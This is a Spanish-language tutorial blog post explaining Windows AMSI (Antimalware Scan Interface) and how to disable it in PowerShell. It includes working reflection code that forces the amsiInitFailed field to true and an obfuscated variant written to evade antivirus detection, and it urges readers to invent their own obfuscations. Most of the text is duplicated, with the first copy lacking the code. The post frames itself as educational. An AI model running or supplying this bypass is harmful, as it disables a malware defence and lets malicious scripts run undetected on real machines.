Buenas señores, vamos a ver en este post una guía sobre qué es AMSI y cómo podemos bypaserla.
Recordad que esto es con fines educativos y que no podéis hacerlo en un dispositivo ajeno sin autorización previa
Qué es AMSI y cómo funciona?
Son las siglas para Antimalware Scan Interface de Windows, y es un mecanismo de defensa que permite a aplicaciones escanear y bloquear comportamientos maliciosos en scripts o macros de componentes de Windows como podría ser PowerShell y Office365.
Para los ejemplos de hoy usaremos PowerShell.
Antes de que el script sea ejecutado, el contenido se le envía a AMSI mediante la API de Windows AmsiScanBuffer() que está en la DLL - amsi.dll
Si queremos, podemos comprobar que en el proceso - powershell.exe - está cargada la librería de AMSI, permitiendo así llamar a sus funciones.
Después de haberle enviado el contenido del script a AMSI, el Antivirus escanea su contenido y determina dos resultados:
1) Limpio
2) Malicioso - En caso de ser malicioso la ejecución se bloquea
Podemos testearlo simplemente escribiendo una cadena de texto que sabemos que se va a detectar como maliciosa (En este caso está relacionada con el modulo en PowerShell de Mimikatz)
Cómo podemos evadirlo?
Hay muchas técnicas para evadir AMSI, varias de ellas bastante complejas, sobre las cuales podríamos profundizar en otro post.
Hoy veremos un ejemplo usando .NET Reflection para modificar el estado de la AMSI en tiempo real ( Si alguien está interesado la técnica se llama "Matt Graebers Reflection method" ).
Sin entrar demasiado en detalle, existe una función clave de AMSI dentro de la implementación .NET de PowerShell llamada System.Management.Automation.AmsiUtils.
Esta tiene un campo llamado - amsiInitFailed - que decide si AMSI está activa o no.
Si conseguimos forzar el campo - amsiInitFailed a True - Desactivaremos la AMSI.
Vamos a hacer un pequeño script en PowerShell para esto:
Este script hace justo lo que hemos explicado anteriormente pero lo más probable es que lo detecte el Antivirus, así que simplemente añadiremos algo de ofuscación:
Para confirmar que la AMSI está desactivada, volveremos a escribir la cadena de texto que antes nos detectaba
Recordad que este script puede funcionar hoy y dejar de funcionar mañana, lo importante es entender el concepto y jugar con vuestras propias técnicas de ofuscación.
Cualquier feedback o duda es bienvenido,
cheers
Recordad que esto es con fines educativos y que no podéis hacerlo en un dispositivo ajeno sin autorización previa
Qué es AMSI y cómo funciona?
Son las siglas para Antimalware Scan Interface de Windows, y es un mecanismo de defensa que permite a aplicaciones escanear y bloquear comportamientos maliciosos en scripts o macros de componentes de Windows como podría ser PowerShell y Office365.
Para los ejemplos de hoy usaremos PowerShell.
Antes de que el script sea ejecutado, el contenido se le envía a AMSI mediante la API de Windows AmsiScanBuffer() que está en la DLL - amsi.dll
Si queremos, podemos comprobar que en el proceso - powershell.exe - está cargada la librería de AMSI, permitiendo así llamar a sus funciones.
Después de haberle enviado el contenido del script a AMSI, el Antivirus escanea su contenido y determina dos resultados:
1) Limpio
2) Malicioso - En caso de ser malicioso la ejecución se bloquea
Podemos testearlo simplemente escribiendo una cadena de texto que sabemos que se va a detectar como maliciosa (En este caso está relacionada con el modulo en PowerShell de Mimikatz)
Cómo podemos evadirlo?
Hay muchas técnicas para evadir AMSI, varias de ellas bastante complejas, sobre las cuales podríamos profundizar en otro post.
Hoy veremos un ejemplo usando .NET Reflection para modificar el estado de la AMSI en tiempo real ( Si alguien está interesado la técnica se llama "Matt Graebers Reflection method" ).
Sin entrar demasiado en detalle, existe una función clave de AMSI dentro de la implementación .NET de PowerShell llamada System.Management.Automation.AmsiUtils.
Esta tiene un campo llamado - amsiInitFailed - que decide si AMSI está activa o no.
Si conseguimos forzar el campo - amsiInitFailed a True - Desactivaremos la AMSI.
Vamos a hacer un pequeño script en PowerShell para esto:
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)
Este script hace justo lo que hemos explicado anteriormente pero lo más probable es que lo detecte el Antivirus, así que simplemente añadiremos algo de ofuscación:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
Para confirmar que la AMSI está desactivada, volveremos a escribir la cadena de texto que antes nos detectaba

Recordad que este script puede funcionar hoy y dejar de funcionar mañana, lo importante es entender el concepto y jugar con vuestras propias técnicas de ofuscación.
Cualquier feedback o duda es bienvenido,
cheers